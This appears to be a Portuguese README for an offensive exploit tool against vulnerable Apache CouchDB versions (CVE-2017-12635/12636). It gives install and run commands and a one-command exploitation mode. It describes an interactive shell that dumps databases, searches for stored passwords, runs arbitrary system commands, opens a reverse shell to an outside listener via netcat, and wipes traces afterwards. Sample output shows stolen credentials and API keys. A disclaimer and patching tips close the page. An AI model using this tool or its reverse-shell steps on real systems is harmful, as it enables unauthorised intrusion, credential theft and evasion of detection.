
Explora CouchDB CVE-2017-12635/12636 para escalonamento de privilégios e RCE, fornecendo em seguida um shell interativo com execução de comandos, navegação em bancos de dados e reverse shell.
Esta ferramenta explora duas vulnerabilidades críticas no Apache CouchDB:
| CVE | Descrição | Gravidade |
|---|---|---|
| CVE-2017-12635 | Escalação de Privilégios via Bypass de Análise JSON | 🔴 Crítica |
| CVE-2017-12636 | Execução Remota de Código via Query Server | 🔴 Crítica |
| Versão | Vulnerável | Versão Corrigida |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ Sim | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Sim | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Sim | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Sim | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ Não | - |
curl http://target:5984/
✨ Recursos
✅ Exploração Automática - Um comando para dominar tudo
✅ Shell Interativo - Interface de comandos amigável
✅ Visualizador de Banco de Dados - Navegue por todos os bancos de dados e documentos
✅ Exibição Completa de JSON - Veja o conteúdo completo dos documentos
✅ Busca Global - Pesquise por palavras-chave em todos os bancos de dados
✅ Comandos de Sistema - Execute comandos arbitrários no alvo
✅ Reverse Shell - Obtenha um shell interativo completo
✅ Histórico de Comandos - Acompanhe suas ações
✅ Limpeza Automática - Remova rastros após a exploração
✅ Saída Colorida - Fácil de ler e entender
📦 Instalação Pré-requisitos bash
python3 --version
Clonar e Instalar bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Requisitos txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Uso Uso básico bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Opções de linha de comando bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 Comandos
Após a exploração, você terá um shell interativo: Comando Descrição Exemplo db Mostra todos os bancos de dados com contagem de documentos db view Visualiza TODOS os documentos de um banco de dados (JSON completo) view passwords raw Mostra a resposta bruta do servidor raw admin count Conta os documentos de um banco de dados count users search Pesquisa uma palavra-chave em TODOS os bancos de dados search admin exec Executa um comando do sistema exec whoami reverse Configura um reverse shell reverse 10.0.0.1 4444 history Mostra o histórico de comandos history help Mostra este menu help exit Sai com limpeza exit 📊 Exemplos
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Visualizar o Conteúdo de um Banco de Dados bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Configurando shell reverso para 10.0.0.1:4444 [!] Certifique-se de que o listener está em execução: nc -lvnp 4444 [?] Continuar? (s/n): s [+] Shell reverso acionado!
🖼️ Capturas de tela Exploit em ação
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Visualização do banco de dados
https://via.placeholder.com/800x400?text=Database+View Shell reverso
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Aviso legal
IMPORTANTE: Esta ferramenta é apenas para fins educacionais e de testes autorizados.
🚫 NÃO use em sistemas sem permissão explícita
🚫 O autor não se responsabiliza por qualquer uso indevido
🚫 Use apenas em ambientes controlados ou em seus próprios sistemas
✅ Sempre obtenha autorização por escrito antes de testar
✅ Siga práticas de divulgação responsável
Ao usar esta ferramenta, você concorda com estes termos. 🔐 Dicas de segurança
Se você é um administrador de sistemas:
Atualize imediatamente para CouchDB ≥ 1.7.0 ou ≥ 2.1.1
Use firewall para restringir o acesso à porta 5984
Ative a autenticação e use senhas fortes
Monitore os logs em busca de atividades suspeitas
Faça auditorias de segurança regulares da sua infraestrutura
Correção rápida bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Ou a versão mais recente
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Referências
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Segurança do Apache CouchDB
Exploit-DB
👤 Autor
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Apoio
Se você achar isto útil:
⭐ Dê uma estrela no repositório
🐛 Reporte problemas
🔧 Contribua com melhorias
📢 Compartilhe com outros
📄 Licença
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
Feito com ❤️ para pesquisa de segurança
⬆ Voltar ao topo